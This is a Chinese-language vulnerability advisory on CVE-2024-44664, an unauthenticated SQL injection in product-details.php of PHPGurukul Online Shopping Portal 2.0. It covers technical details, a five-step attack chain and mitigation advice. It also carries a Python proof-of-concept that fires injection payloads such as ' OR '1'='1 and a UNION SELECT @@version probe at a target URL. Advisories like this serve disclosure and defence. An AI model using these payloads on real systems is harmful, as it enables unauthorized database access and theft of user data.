IPBUF安全漏洞报告
English
CVE-2024-44664 CVSS 6.5 中危

CVE-2024-44664 PHPGurukul Online Shopping Portal 2.0 SQL注入漏洞

披露日期: 2025-11-17

漏洞信息

漏洞编号
CVE-2024-44664
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PHPGurukul Online Shopping Portal 2.0

相关标签

CVE-2024-44664SQL注入PHPGurukulOnline Shopping Portalproduct-details.php无认证利用中危漏洞Web安全数据库注入

漏洞概述

CVE-2024-44664是PHPGurukul在线购物门户2.0版本中的一个中等严重性SQL注入漏洞。该漏洞存在于product-details.php文件中,攻击者可以通过多个参数注入恶意SQL代码,包括name、summary、review、quality、price和value参数。由于该应用在处理用户输入时未进行充分的输入验证和SQL语句参数化,攻击者可以利用此漏洞未经授权访问数据库、读取敏感信息、修改数据或在某些情况下执行系统命令。此漏洞不需要任何认证即可被利用,影响系统的机密性和完整性。CVSS 3.1评分6.5表明该漏洞属于中危级别,对业务系统构成一定风险。建议受影响的用户尽快采取修复措施,防止潜在的安全威胁。

技术细节

该SQL注入漏洞存在于PHPGurukul Online Shopping Portal 2.0的product-details.php文件中。漏洞根源在于应用程序直接将从用户请求中获取的参数值拼接到SQL查询语句中,而没有使用参数化查询或预编译语句。攻击者可以通过在name、summary、review、quality、price和value等参数中注入SQL payloads来操纵底层SQL查询。由于这些参数直接反映在SQL语句中,攻击者可以实现union-based、boolean-based、time-based或error-based SQL注入技术。成功利用此漏洞可能导致以下后果:1) 未经授权访问数据库中的敏感用户信息如用户名、密码、邮箱等;2) 读取或修改产品信息和订单数据;3) 在某些配置下可能通过into outfile或load_file等函数读取服务器文件系统内容;4) 在数据库用户权限较高时可能执行系统命令。该漏洞无需认证即可利用,攻击向量为网络层面,复杂度低。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标网站使用PHPGurukul Online Shopping Portal 2.0,并定位到存在漏洞的product-details.php页面
STEP 2
步骤2
漏洞探测:攻击者使用SQL注入测试payload(如' OR '1'='1)探测name、summary、review、quality、price、value等参数是否存在SQL注入漏洞
STEP 3
步骤3
注入点确认:通过观察不同的响应(如SQL错误信息、响应时间差异或数据变化)确认可利用的注入点
STEP 4
步骤4
数据提取:利用UNION-based或布尔盲注等技术提取数据库版本、表名、列名及敏感数据(用户信息、密码哈希等)
STEP 5
步骤5
权限提升与持久化:根据数据库用户权限,可能尝试读取系统文件、写webshell或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2024-44664 SQL Injection PoC # Target: PHPGurukul Online Shopping Portal 2.0 - product-details.php # Vulnerable Parameters: name, summary, review, quality, price, value def test_sql_injection(url, param): """ Test for SQL injection vulnerability """ # Basic payload to test for SQL injection payloads = [ "' OR '1'='1", "' OR '1'='1' --", "' UNION SELECT NULL--", "' AND SLEEP(5)--", "1' ORDER BY 1--" ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } for payload in payloads: try: data = {param: payload} response = requests.post(url, data=data, headers=headers, timeout=10) # Check for SQL error messages if any(err in response.text for err in ['SQL syntax', 'MySQL', 'Warning', 'mysql_fetch']): print(f"[+] Potential SQL Injection detected with payload: {payload}") print(f"[+] Response length: {len(response.text)}") return True except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False def extract_data(url, param): """ Extract database information using UNION-based SQL injection """ # Database version extraction payload payload = "' UNION SELECT NULL,@@version,NULL,NULL,NULL,NULL--" try: data = {param: payload} response = requests.post(url, data=data, timeout=10) if '5.' in response.text or '8.' in response.text: print(f"[+] Database version extracted successfully") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == '__main__': if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <url> <parameter>") print(f"Example: python {sys.argv[0]} http://target.com/product-details.php name") sys.exit(1) target_url = sys.argv[1] target_param = sys.argv[2] print(f"[*] Testing CVE-2024-44664 SQL Injection") print(f"[*] Target: {target_url}") print(f"[*] Parameter: {target_param}") if test_sql_injection(target_url, target_param): print("[!] Vulnerability confirmed!") extract_data(target_url, target_param) else: print("[-] No SQL injection detected")

影响范围

PHPGurukul Online Shopping Portal 2.0

防御指南

临时缓解措施
在官方修复方案发布前,可采取以下临时缓解措施:1) 在Web应用防火墙中配置SQL注入检测规则,拦截包含SQL关键字的恶意请求;2) 对product-details.php及相关文件实施输入过滤,移除或转义单引号、分号等特殊字符;3) 限制数据库账户权限,避免使用高权限数据库账户连接应用;4) 启用数据库查询日志监控,及时发现异常SQL行为;5) 考虑临时禁用受影响的参数功能,待官方修复后再启用。建议持续关注官方更新,尽快应用正式安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表